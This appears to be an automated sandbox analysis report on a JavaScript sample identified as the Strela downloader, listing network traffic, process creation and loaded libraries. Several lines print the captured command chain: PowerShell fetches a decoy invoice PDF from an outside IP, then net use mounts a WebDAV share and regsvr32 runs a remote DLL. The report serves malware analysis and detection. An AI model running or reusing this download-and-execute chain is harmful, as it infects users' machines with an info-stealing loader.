TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1434504695.00000252F1808000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1436075993.00000252F17F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1436075993.00000252F17EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1561589131.0000029EC0B2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000003.1562298448.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562728966.0000029EC0B0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2728294545.0000025165C84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1563283477.00000251659D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7472, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1504631236979031969.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wzbcxaqh.jib.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1504631236979031969.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,3756341441224561509,5222484860576881628,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,3756341441224561509,5222484860576881628,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
